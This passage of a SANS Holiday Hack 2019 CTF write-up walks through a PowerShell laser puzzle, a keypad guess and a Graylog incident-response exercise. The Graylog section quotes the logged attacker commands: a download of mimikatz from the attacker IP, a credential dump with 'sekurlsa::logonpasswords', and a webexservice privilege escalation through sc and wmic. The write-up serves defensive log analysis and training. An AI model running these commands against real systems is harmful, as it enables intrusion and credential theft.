(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=33.5).RawContent

We just need one more value, gas, and the clue is shown in the screenshot above. We need to recurse the /home/elf/depths directory structure and find the file with the longest FullName attribute

<pre>PS /home/elf/depths> Get-ChildItem -Recurse -File -Force Select-Object {\$fullname.leng th},Fullname Sort-Object -Property {\$fullname.length} select-Object -Last 1 fl</pre>	
<pre>\$fullname.length : 388 FullName : /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chai r/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/exp lore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/pot atoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubb ed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/bec ome/accident/labor/sail/dropped/fox/0jhj5xz6.txt</pre>	
PS /home/elf/depths> Get-Content /home/elf/depths/larger/cloud/behavior/beauty/enemy/produ ce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/w herever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/ adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is /greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt Get process information to include Username identification. Stop Process to show me you're skilled and in this order they must be killed:	
bushy alabaster minty holly	
Do this for me and then you /shall/see . PS /home/elf/depths> Get-ChildItem -Recurse -File -Force Select-Object {\$fullname.length},Fullname Sort-Object -Property {\$fulln select-Object -Last 1 fl Get-Content /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/ onally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adul rn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/droc hj5xz6.txt	iame.length} 'thin/occasi t/either/bu ppped/fox/0j
2 mart	

The next clue is we need to stop those 4 processes (designated by: bushy, alabaster, minty, holly) in that particular order and then check the directory /shall/see. Note that bushy, alabaster, minty and holly refer to the user running the process, not the process name. So, we'll need to list processes with the IncludeUserName property.

aserServi

,,	, aspens: •			
WS(M)	CPU(s)	Id UserName		ProcessName
26.85	1.56	6 root		CheerLaserSe
161.25	55.09	31 elf		elf
3.55	0.03	1 root		init
0.82	0.00	24 bushy		sleep
0.72	0.00	26 alabaster		sleep
0.77	0.00	27 minty		sleep
0.80	0.00	29 holly		sleep
3.28	0.00	30 root		su
PS /home/el1 PS /home/el1 PS /home/el1 PS /home/el1 PS /shall> C Director	/depths> S /depths> S /depths> S /depths> S /depths> S et-ChildIt	top-Process Id top-Process Id top-Process Id top-Process Id et-Location /sh em	24 26 27 29 all/	
Mode	la	ctWriteTime	Length Name	
nouc	La	3 CWI I COLING	Length Name	

PS /home/elf/depths> Get-Proc

PS /shall> Get-Content ./see Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thi ng will be in the Properties of the lonely unique event Id. /shall> ΡS

149 see

Get-Content Get-Process -IncludeUserName Stop-Process Id 24 Stop-Process Id 26 Stop-Process Id 27 Stop-Process Id 29 Set-Location /shall/ Get-ChildItem Get-Content /shall/see

12/25/19 6:35 PM

This leads to another clue where we need to find an .xml file somewhere in the /etc directory structure and then examine the XML looking for a unique event Id in the Properties tag

PS /etc> Get-ChildItem -Recurse -File -Path *.xml Directory: /etc/systemd/system/timers.target.wants LastWriteTime Length Name lode 11/18/19 7:53 PM 10006962 EventLog.xml - r -PS /etc> Set-Location /etc Get-ChildItem -Recurse -File -Force -Path *.xml -ErrorAction 'silentlycontinue' Page 22 of 184

We find the file at /etc/systemd/system/timers.target.wants/EventLog.xml Now we need to parse it looking for a unique event ld

PS /ho	ome/elf> [xml] <mark>\$xml</mark> = Get-C	ontent	-Path	ו "∕et	c/sys	temd/s	ystem	/timer	s.tar	get.wa	nts/E	Evei	nt
Log.xn	nl"												
PS /ho	ome/elf> \$xml.Objs.Obj.Pro	ps.I32	Gro	bup-Ob	ject			#text'	So	rt-Obj	ect		
erty (Count												
Count	Name	Group											
2	1	{I32,	I32}										
4	4	{I32,	I32,	I32,	I32}								
19	4168	{I32,	I32,	I32,	I32}								
78	2	{I32,	I32,	I32,	I32}								
89	4216	{I32,	I32,	I32,	I32}								
97	6652	{I32,	I32,	I32,	I32}								
108	5264	{I32,	I32,	I32,	I32}								
160	6648	{I32.	I32,	I32,	I32}								
196	6	{I32 .	132.	I32.	I32}								
358	3	{132.	132.	I32.	I32}								
859	6640	{I32 .	I32.	I32.	I32}								
1116	1960	{I32 .	I32.	I32.	I32}								
1810	5	{132.	I32.	132.	I32}								
PS /ho	ome/elf> Get-Content -Path	"/etc/	svste	emd/sv	/stem/	timers	tard	et.wan	ts/Ev	entLog	.xml'		9
elect	String '"Id">1<' -Context	1,200	I Out	-Host	- Pad								

[xml]\$xml = Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml"
\$xml.Objs.Obj.Props.I32 | Group-Object -Property '#text' | Sort-Object -Property Count
Get-Content -Path "/etc/systemd/system/timers.target.wants/EventLog.xml" | Select-String '"Id">>1<' -Context 1,200 | Out-Host Paging</pre>

Performing the query on the XML shows that event Id 1 had the fewest count. The next PowerShell command will retrieve the first 200 lines of event Id 1.

<tostring>System.Diagnostics.Eventing.Reader.EventProperty</tostring>
<props></props>
<pre>< N="value">Microsoft Corporation</pre>
<td< th=""></td<>
<pre><tnref refid="1806"></tnref></pre>
<tostring>System.Diagnostics.Eventing.Reader.EventProperty</tostring>
<props></props>
<s n="Value">PowerShell.EXE</s>
0bj
<obj refid="18016"></obj>
<tnret refid="1806"></tnret>
<tostring>System.Diagnostics.Eventing.Reader.EventProperty</tostring>
<pre><props> </props></pre>
S N= Value >C: Windows/Systemsz/WindowsPowerShell(VI.0(powerShell.exe c "'tearrant gase posthody = 0('p
$-c$ \$contect_gass_postoody – e_1 ii $-c_0$ ii $-r_1$ ii $-r_2$ ii $n-4$ ii $ne-22$ ii $ne-10$ n $E-20$ n $K-8$ n $Bn-9$ n $(ne-2)$ n $(ne-2)$
0bi
<0bj RefId="18017">
<tnref refid="1806"></tnref>
<tostring>System.Diagnostics.Eventing.Reader.EventProperty</tostring>
<props></props>
<s n="Value">C:\</s>
<pre><innet 1000="" <br="" relue=""><tastringsystem diagnostics="" eventing="" eventproperty="" pre="" reader="" tastringsystem<=""></tastringsystem></innet></pre>
<pre> <prons< pre=""></prons<></pre>
<pre><< N="Value">ELFURESEARCH\allservices</pre>
0bj
<0bj RefId="18019">
<tnref refid="1806"></tnref>
<tostring>System.Diagnostics.Eventing.Reader.EventProperty</tostring>
<props></props>
<pre><g n="Value">ba5c6bbb-5b9c-5dc4-0000-0020f55ca900</g></pre>
<spaces 0="" <crs="" line:="" name:="" next="" quit<="" th=""></spaces>
Since next page, sets next time, & durt

Scrolling through the tags, we find that one of the <Props> tag sections has the gas value we're looking for: O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9

\$gaspost = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9"
(Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body \$gaspost).RawContent

Now we have all the values to set the laser back to the correct settings. Adding a command to turn off the laser first, set the right 4 settings, then turn it back on and check the output - here is the final sequence that solves the challenge:

(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).RawContent (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/refraction?val=1.867).RawContent (Invoke-WebRequest -Uri http://127.0.0.1:1225/api/temperature?val=-33.5).RawContent \$gaspost = "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9" (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body \$gaspost).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Thu, 26 Dec 2019 01:24:26 GMT Content-Type: text/html; charset=utf-8 Content-Length: 33 Christmas Cheer Laser Powered Off PS /home/elf> (<mark>Invoke-WebRequest</mark> -Uri http://127.0.0.1:1225/api/angle?val=65.5).RawContent HTTP/1.0 200 OK HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Thu, 26 Dec 2019 01:24:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 77 Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached. PS /home/elf> (<mark>Invoke-WebRequest</mark> -Uri http://127.0.0.1:1225/api/refraction?val=1.867).RawC ontent HTTP/1.0 200 OK MTF71.0 200 OK Server: Python/3.6.9 Date: Thu, 26 Dec 2019 01:24:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 87 Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached. PS /home/elf> (<mark>Invoke-WebRequest</mark> -Uri http://127.0.0.1:1225/api/temperature?val=-33.5).Raw Content HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Thu, 26 Dec 2019 01:22:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 82 Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached. . S /home/elf> S /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body \$gi spost).RawContent HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Thu, 26 Dec 2019 01:22:50 GMT Content-Type: text/html; charset=utf-8 Content-Length: 81 Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached. PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: WeiA2eug/0.10.0 Server: Python/3.6.9 Date: Thu, 26 Dec 2019 01:22:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 32 Christmas Cheer Laser Powered On PS /home/elf> (<mark>Invoke-WebRequest</mark> -Uri http://localhost:1225/api/output).RawContent HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Thu, 26 Dec 2019 01:22:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 200 Success! - 6.85 Mega-Jollies of Laser Output Reached! PS /home/elf> You have completed the Xmas Cheer Laser challenge!

Achievement - Frosty Keypad

This challenge is found in the east Quad area and interacting with Tangle Coalbox will introduce this challenge



- Hey kid, it's me, Tangle Coalbox.
 I'm sleuthing again, and I could use your help.
 Ya see, this here number lock's been popped by someone.
 I think I know who, but it'd sure be great if you could open this up for me.
 I've got a few clues for you.
 1. One digit is repeated once.
- 2. The code is a prime number.
- 3. You can probably tell by looking at the keypad which buttons are used.

This keypad protects the Dorm area and you cannot enter the Dorm until you solve this keypad challenge. It is also accessible directly at https://keypad.elfu.org

You can begin the challenge by clicking on the "Frosty Keypad" icon next to Tangle Coalbox.



By looking at the keypad, we can see based on the large smudges that keys 1, 3, 7, CLEAR and ENTER are used most often, so the code should be some combination of the numbers 1, 3 and 7. We know from Tangle Coalbox that one number is repeated once and the complete code must be a prime number.

Since many keypads default to a 4-digit pin, 1337 (leet) seems like a good guess. It has one repeating number, but unfortunately it's not a prime number being divisible by 7. However, its reverse 7331 is a prime!



Entering this valid code unlocks the Dorm area and you can now enter.

You have completed the Frosty Keypad challenge!

Achievement - Graylog

This challenge is found in the Dorm area and interacting with Pepper Minstix will introduce this challenge.



Normally I'm jollier, but this Graylog has me a bit mystified. Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala. Some Elf U computers were hacked, and I've been tasked with performing incident response. Can you help me fill out the incident response report using our instance of Graylog? It's probably helpful if you know a few things about Graylog. Event IDs and Sysmon are important too. Have you spent time with those? Don't worry - I'm sure you can figure this all out for me! Click on the All messages Link to access the Graylog search interface! Make sure you are searching in all messages! The Elf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right corner. Login with the username elfustudent and password elfustudent.

You can begin the challenge by clicking on the "Graylog" terminal icon or you access it directly via <u>https://incident.elfu.org/</u> and <u>https://graylog.elfu.org/</u>. (Note: The incident report alone can also be accessed directly at <u>https://report.elfu.org</u>)

The graylog URL will take you to the Graylog website where you will be prompted to enter credentials. Entering the credentials provided by Pepper Minstix will take you to the main page:

Jayrog views Joerns Alerts Dashboaros S	yysen ·	0 out 🔮 🖪	
Streams			
You can route incoming messages into streams by applying rules against the	em. Messages matching the rules of a stream are routed into it. A message can also be routed	into multiple streams.	
Read more about streams in the documentation.			
Filter streams Filter Rese	it		
All messages Default		More Actions -	here and the second
tream containing all messages			
messages/second. The default stream contains all messages.			
- II) h-		1	
om here, click on the "All messages" li	nk and this will bring you to the search page:		
A DA			
ayl⊛g Views → Streams Alerts Dashboards System →	<u>0 in</u> 0 out	0 4	
Search in the last 5 minutes	► Not updating		
Type your search query here and press enter. ("not found	d" AND http) OR http_response_code:[400 TO 404]	•	
ur search returned no results, try changing the used time range or the search query. ke a look at the documentation if you need help with the search syntax or the t	Do you want more details? Show the Elasticsearch query. ilme range selector.	- 23	
•earcn Actions 1 case you expect this search to return results in the future, you can add search widget	Add count to dashboard Add histogram to dashboard Save search s to dashboards, and manage your saved searches from here.	criteria	
leed help? o not hesitate to consult the Graylog community if your questions are not answered in	a the documentation.		
t Community support Hissue tracker Professional support			
r now, select in the upper left to "Sear	ch in all messages" and in the query field just e	enter a "*" and click	the green search buttor
	La balle		
Search in all messages			
a *			
and the second se	12-		
is will get you started with seeing som	pething in the messages window. From here ve	u can start to fing t	une vour searches
s win get you started with seeing som		u can start to fille t	une your sediciles.
	Page 27 of 184		

Question 1:

Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file.

You can start by searching for "minty firefox.exe" and this will get you on your way. I found it very helpful in making output clearer to **uncheck the "message" field** on the left field list and to check/enable the following if you have a wide enough screen:

- DestinationHostname
- DestinationIp
- EventID
- ParentProcessCommandLine
- ParentProcessImage
- ProcessImage
- source
- SourceHostname
- TargetFilename
- UserAccount

I also found it helpful to sort in ascending timestamp order (oldest entries first), which is not the default so for each search you need to click on the timestamp search order icon (down-arrow icon) again:

Timestamp 🏥

After you search around for a while, you start to see events of interest falling within this time range, so you can limit most of your searches to this range using the "absolute" option available with the blue time button in the upper left.

2019-11-19 05:23:45 2019-11-19 06:16:00

Since Sysmon event id 2 is a file creation, add this to the earlier search and the event of interest for this question is below

Sf9c3021-1b70-11ea-b211-0242ac1	20005	Permalink	Copy ID	Show surround
Received by Syslog TCP on 🕴 83d46e5e / 61a0de1ff3c0	CreationUtcTime 2019-11-19T13:23:45.428Z			
Stored in index graylog_0	EventID 2			
Routed into streams All messages 	ProcessId 2516			
	ProcessImage C:\Program Files\Mozilla Firefox∖firefox.exe			
	TargetFilename C:\Users\minty\Downloads\cookie_recipe.exe			
	WindowsLogType Microsoft-Windows-Sysmon/Operational			
	facility user-level			
	level 6			
	<pre>message elfu-res-wks1 MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 18 mon SYSTEM User Information elfu-res-wks1 File creation time changee RuleName: UtcTime: 2019-11-19 13:23:45.428 ProcessGuid: {BA5C6BB8-EBC5-5DD3-000 irefox\firefox.exe TargetFilename: C:\Users\minty\Downloads\cookie_recipe.exe Cr 19-11-19 13:23:45.428 19601</pre>	360 Tue Nov 19 3 (rule: FileCrea 30-001045871100} reationUtcTime: 2	05:28:33 teTime) ProcessI 019-11-19	2019 2 Fi d: 2516 Image: 13:23:45.428 I
	source elfu-res-wksl			
	timestamp 2019-11-19 05:28:33.000 +00:00 i			

Question 1: Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and downloaded a file. What is the full-path + filename of the first malicious file downloaded by Minty? Answer: C:\Users\minty\Downloads\cookie_recipe.exe We can find this searching for systmon file creation event id 2 with a process named firefox.exe and not junk .temp files. We can use regular expressions to include or exclude patterns: TargetFilename:/.+\.pdf/

Question 2:

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?

Since Sysmon event id 3 indicates network connections and we know the name of the malicious file from question 1, the following search will give us the event of interest:

EventID:3 AND "*cookie_	recipe	.exe*"					-		
Charles and the second									
Timestamp IF source CreationUtcTime Destination 2019-11-19 05:2 elfu-res-wks DEFANEL 4:04.000 1 DEFANEL	ionHostname _F	Destinationlp 192.168.247.175	EventID ParentProce	essCommandLine Parent	tProcessImage	C:\Use wnload	rs\minty\Do ds\cookie_re	SourceHostname SourceHo elfu-res-wks1.localdo main	stName Sour 192. 77
₩ 5c93f930-1b70-11ea-b211-0242ac120	005					Permalink	Copy ID	Show surrounding messages	· Test against st
Received by Syslog TCP on V 83d46e5e / 61a0de1ff3c0	DestinationH DEFANELF	lostname							
Stored in Index graylog_0	Destination 192.168.247	p 7.175							
Routed into streams All messages 	DestinationP 4444	Port							
	EventID 3								
	Processid 5256								
	Processimag C:\Users\mi	e inty\Downloads\cool	kie_recipe.exe						
	Protocol tcp								
	SourceHostn elfu-res-wk	ame ksl.localdomain							
	Sourcelp 192.168.247	7.177							
	SourcePort 53564								
	UserAccount minty								
	WindowsLog Microsoft-W	Type √indows-Sysmon/Ope	rational						
	facility user-level								
	level 6								
	message elfu-res-wk mon SYS RuleName: ookie_recip -wksl.local inationPort	ksl MSWinEventLog GTEM User Info UtcTime: 2019-11 De.exe User: ELFU Idomain SourcePort t: 4444 Destinatio	1 Microsoft- rmation elfu-res-w -19 13:24:03.757 Proc -RES-WKS1\minty Proto t: 53564 SourcePortNai onPortName: 20	Vindows-Sysmon/Operationa ksl Network connection sssGuid: {BA5C6BBB-ECF2-5 col: tcp Initiated: true ne: DestinationIsIpv6: 132	al 2441 detected (ru 5DD3-0000-001 SourceIsIp false Desti	Tue Nov 1 le: Networ 086363300} v6: false nationIp:	19 05:24:04 rkConnect) } Process1 SourceIp: 192.168.24	2019 3 Microso Network connect d: 5256 Image: C:\Users\min 192.168.247.177 SourceHost 7.175 DestinationHostname:	ft-Windows-Sys ion detected: nty\Downloads\c name: elfu-res DEFANELF Dest
	source elfu-res-wk	<s1< th=""><th></th><th></th><th></th><th></th><th></th><th></th><th></th></s1<>							
	timestamp 2019-11-19	05:24:04.000 +00:0	00 i						
The answer to Question 2 is: 192	2 168 24	17 175· <i>444</i>	4						
The diswer to Question 2 is. 13.	2.100.24	17.173.444							
Question 2:									
The malicious file downloaded and e the malicious file connected to first?	executed b	by Minty gave	e the attacker re	mote access to h	is machii	ne. Wh	at was	the ip:port	
Answer: 192.168.247.175:4444									
We can pivot off the answer to our firs	st questio	on using the b	binary path as o	ur ProcessImage .					

Page 29 of 184

Question 3:

What was the first command executed by the attacker?

Since Sysmon event id 1 indicates new process creation and it will likely be a child of the malicious payload we already know, the following search will give us the event of interest:

EventID:1 AND ParentProcessImage:"C:\\Users\\minty\\Downloads\\cookie_recipe.exe"

Sc94bc80-1b70-11ea-b211-0242ac120005	Permailink Copy ID Show surrounding messages + Test against	t stream +
Timestamp 2019-11-19 05:24:15.000	CommandLine C:\wkindows\system32\cmd.exe /c *whoami *	Q -
Received by Syslog TCP on IP 83d46e5e / 61a0de1ff3c0	EventID 1	Q -
Stored in index graylog_0	ParentProcessCommandLine "C:\Users\winty\Downloads\cookie_recipe.exe"	Q -
	ParentProcessId 5256	Q •
	ParentProcessImage C:\Users\minty\Downloads\cookie_recipe.exe	Q •
	Processid 1864	Q -
	Processimage C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Q +
	UserAccount minty	Q -
	WindowsLogType Microsoft-Windows-Sysmon/Operational	Q -
	facility user-level	Q +
	level 6	Q -
	message Introsoft-Mindows-Sysmon/Operational 24/2 Tue Nov 19 85:24:15 2019 1 Microsoft-Mindows-Sysmon System Information eithures-wks1 Process Create (rule: Process/create) Process Create (submack) Discoveration System Syst	Q *
	source elfu-res-wks1	Q -

nestamp 19-11-19T05:24:15.000Z

Sc969140-1b70-11ea-b211-0242ac120005		Permalink	Copy ID	Show surrounding messages -	Test against stream 👻
Timestamp 2019-11-19 05:24:16.000	CommandLine "C:\Windows\system32\whoami.exe"				Q -
Received by Syslog TCP on P 83d46656 / 61a0de1ff3c0	EventID 1				Q -
Stored in index graylog_0	ParentProcessCommandLine C:\Windows\system32\cmd.exe /c "whoami "				۹
	ParentProcessId 1864				Q -
	ParentProcessImage C:\Windows\SysW0W64\WindowsPowerShell\v1.0\powershell.exe				Q -
	Processid 5632				Q -
	ProcessImage C:\Windows\SysW0W64\whoami.exe				Q -
	UserAccount minty				Q -
	WindowsLogType Microsoft-Windows-Sysmon/Operational				Q -
	facility user-level				Q -
	level 6				Q -

source elfu-res

timestamp 2019-11-19T05:24:16.000

The answer to Question 3 is: whoami

Question 3:

What was the first command executed by the attacker?

(answer is a single word)

Answer: whoami

Since all commands (sysmon event id 1) by the attacker are initially running through the cookie_recipe.exe binary, we can set its full-path as our **ParentProcessImage** to find child processes it creates sorting on timestamp.

Q +

Q -

Question 4:

What is the one-word service name the attacker used to escalate privileges?

In this case I searched for events with this ParentProcessImage and then looked through the results looking for suspicious activity. Finding "sc start" for the *webexservice* with a parameter for "wmic process call create" on an exe in the User's download directory was the red flag ([CVE-2019-1674]/https://www.exploit-db.com/exploits/46479]:

S 5cf94ab0-1b70-11ea-b211-0242ac120005 imestamp 091-119 0531102.000 teceived by golds (7/C m) 8246656 / 61a0de1113c0 zone in in fex	
imestamp 019-11-19 05:31:02.000 (seceived by yslog 7CP on y 83345655 / 61a0de1ff3c0 travel in Index	Permalinik Copy ID Show surrounding messages - Test again
eceived by slog TCP on P 83d46e5e / 61a0de1ff3c0 tored in index	CommandLine C:\Windows\system32\cmd.exe /c "sc start webexservice a software-update 1 wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie recipe2.exe" "
ared in index	EventID
	1 ParentProcessCommandLine
ylog_0	"C:\Users\minty\Downloads\cookie_recipe.exe" ParentProcestd
	5256
	ParentProcessImage C:\Users\minty\Downloads\cookie_recipe.exe
	Processid 740
	Processimage
	c. (virinouns) sysimone (virinouns romer sine c. (vir. e. (power sine c. e. e.e.) UserAccount
	ninty Windowsi netwne
	Microsoft-Windows-Sysmon/Operational
	facility user-level
	level 6
	message Introsoft-Window-Sysmon/Operational 2578 Tue New 19 05:31:02 2019 I Microsoft-Window-Sysmon DYSTRM User Information off-res.wds1 Process5 crast Process5 crast Difference Difference
	source elfu-res-wks1
	timestamp
	2013-11-13102:31-201-2005
5d0a1390-1b70-11ea-b211-0242ac120005	Permalink Copy ID Show surrounding messages Test again
estamn	Commandi ine
9-11-19 05:31:55.000	sc start webexservice a software-update 1 wmic process call create cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe
eived by og TCP on P 83d46e5e / 61a0de1ff3c0	EventID 1
red in index	ParentProcessCommandLine
1 ~ 0 ~ ·	ParentProcessid
	1076
	ParentProcessinage C:\Windows\SysW0W64\cmd.exe
	ProcessId 1388
	Processimage
	C:\Windows\SysM0W64\sc.exe
	minty
	WindowsLogType Microsoft-Windows-Sysmon/Operational
	facility
	user-level
	6
	message network Nicrosoft-Windows-Sysmon/Operational 2591 Tue Nov 19 05:31:55 2019 1 Microsoft-Windows-Sysmon SYSTEM User Information 01/u-res-wks1 Process Create Process Create RULTime: 2019-11-19 13:31:55.311 ProcessGuid: (dSASC6BBE-ECS-050-0000-0000-001000073000) ProcessGuid: 1000-0000-0000-0000-0000-0000-0000-000
	<pre>\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" /c sc start webexservice a software-update 1 wmic process call create cmd.exe /c C:\Users\minty \Downloads\cookie_recipe2.exe 20276</pre>
	<pre>\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" /c sc start webexservice a software-update 1 wmic process call create cmd.exe /c C:\Users\minty \Downloads\cookie_recipe2.exe 20276 source a fu_rec_wks1</pre>
	<pre>\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" /c sc start webexservice a software-update 1 wmic process call create cmd.exe /c C:\Users\minty \Downloads\cookie_recipe2.exe 20276 source elfu-res-uks1 timestamp</pre>

Sd0ad6e0-1b70-11ea-b211-0242ac120005

Timestamp 2019-11-19 05:31:55.000
Received by Syslag TCP on P 83d46e5e / 61a0de1ff3c0
Stored in index graviog 0

CommandLine C:\WebExService.exe	G	ł -
EventID 1	G	
ParentProcessCommandLine C:\Windows\system32\services.exe	G	
ParentProcessId 592	G	
ParentProcessImage C:\Windows\System32\services.exe	G	
Processid 2408	e	
Processimage C:\WebExService.exe	e	
WindowsLogType Microsoft-Windows-Sysmon/Operational	G	
facility user-level	G	1 -
level 6	a	
Intercept Intersection Intersection Intersection SYSTEM User Information After-res-wkil Process Core State SYSTEM User Information After-res-wkil Process Core State Section State State State State Process Section State State State State State State Service Production State State	55 2019 1. Microsoft-Window-Sysson rester. Holtomer. UtcTime: 2019-11.19 113:155.319 ioin: 2211,0.102.200. Boscriptinc: Cisco Webb: Update © Comandi.Lne: C:WebBcScrvice.exe CurrentDirectory: di 0.2017 Terinialessionidi 8 Intogriptiveli: System ParentProcessId: 592 ParentImage: C:Windows/SystemI2	
source elfu-res-wks1	G	
timestamp 2019-11-19705:31:55.000Z	e	

The answer to Question 4 is: webexservice

Question 4:

What is the one-word service name the attacker used to escalate privileges?

Answer: webexservice

Continuing on using the **cookie_reciper.exe** binary as our **ParentProcessImage**, we should see some more commands later on related to a service.

Question 5:

What is the file-path + filename of the binary ran by the attacker to dump credentials?

In this case I searched for events with the ParentProcessImage cookie_recipe2.exe since this is the malicious payload that was being launched by the *webexservice* and would be running with elevated privileges (SYSTEM) to dump credentials. See below where the attacker downloads *a well-known credential dumping tool* and saves it as cookie.exe. Then runs it.

ParentProcessImage:"C:\\Users\\minty\\Downloads\\cookie_recipe2.exe"

5d8a4010-1b70-11ea-b211-0242ac120005	Permalink Copy ID Show surrounding messages - Test against si	tream +
' imestamp 019-11-19 05:41:02.000	CommandLine C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri http://192.168.247.175/mimikatz.exe -OutFile C:\cookie.exe "	Q -
Received by Syslog TCP on P 83d46e5e / 61a0de1ff3c0	EventID 1	Q -
stored in index graylog_0	ParentProcessCommandLine C:\Users\minty\Dowmloads\cookie_recipe2.exe	Q •
	ParentProcessid 4892	Q •
	ParentProcessImage C:\Users\minty\Downloads\cookie_recipe2.exe	Q •
	Processid 3076	Q -
	ProcessImage C:\Windows\SysW0W64\WindowsPowerShell\v1.0\powershell.exe	Q -
	WindowslogType Microsoft-Windows-Sysmon/Operational	Q •
	facility user-level	Q .
	level 6	۹.
	message Nicrosoft-Nindows-Sysmon/Operational 2751 Twe Nov 19 05:41:82 2619 Nicrosoft-Mindows-Sysmon/Operational sVSTEM User Information elfu-res-whs1 Process Create Process Create: RuleName: Utcrime: 2015-11:19 13:41:82.209 SYSTEM User Information elfu-res-whs1 Process Create: RuleName: Utcrime: 2015-11:19 13:41:82.209 ProcessGuid: (BASCABBB-F0EE-SDD: 0000-001002A0000) ProcessI: 30% To Indows System/Suptaw Company: Nicrosoft-Windows System Company: Nicrosoft-Ostopration 0:14:33.206 PowerShell.EXE CommandLine: C:WindowsXystem Company: Nicrosoft-Windows System Company: Nicrosoft-WindowsXystem Company: Nicrosoft-Ostopration 0:14:33.206 PowerShell.EXE CommandLine: C:WindowsXystem Company: Nicrosoft-WindowsXystem Company: Nicrosoft-WindowsXystem Company: Nicrosoft-Nicroso	Q -
	source elfu-res-wks1	Q -
	timestamp 2010-11-10785-41-02-0007	Q -

Sdc5e982-1b70-11ea-b211-0242ac120005

Timestamp 2019-11-19 05:45:14.000 Received by Systog TCP on P 83d46e5e / 61a0de1ff3c0 Stored in index Stored in index

	Permalink	Copy ID	Show surrounding messages •	Test against str	eam •
CommandLine C:\Windows\system32\cmd.exe /c "C:\cookie.exe "privilege::debug" "sekurlsa::logonpasswords" exit "					Q -
EventID					Q •
ParentProcessCommandLine C:\Users\minty\Dowmloads\cookie_recipe2.exe					Q .
ParentProcessid 892					Q -
ParentProcessImage C:\Users\minty\Dowmloads\cookie_recipe2.exe					Q +
Processid 164					Q -
Processimage :\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe					Q -
WindowsLogType ticrosoft-Windows-Sysmon/Operational					Q -
acility iser-level					Q -
evel 5					Q -
message Image: Non-Stress and Stress	5:14 2019 Create: Rui ProwerShell\ m Company: ::logonpassw 7 TerminalS ProcessId: 4	1 leName: v1.0\powe Microsof ords" exi essionId: 892 Pare	Microsoft-Windows-Sysm UtcTime: 2019-11-19 33:45: rshell.exe FileVersion: 11 Corporation OriginalFild t * CurrentDirectory: C:\V 1 IntegrityLevel: System ITmaqe: C:VSers\mintyNow	on :14.925 0.0.14393.206 eName: Windows Hashes: wnloads	Q -

timestamp 2019-11-19T05:45:14.000Z

source elfu-res-wks1

The answer to Question 5 is: C:\cookie.exe

Question 5:

What is the file-path + filename of the binary ran by the attacker to dump credentials?

Answer: C:\cookie.exe

The attacker elevates privileges using the vulnerable **webexservice** to run a file called **cookie_recipe2.exe**. Let's use this binary path in our **ParentProcessImage** search.

Question 6:

The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

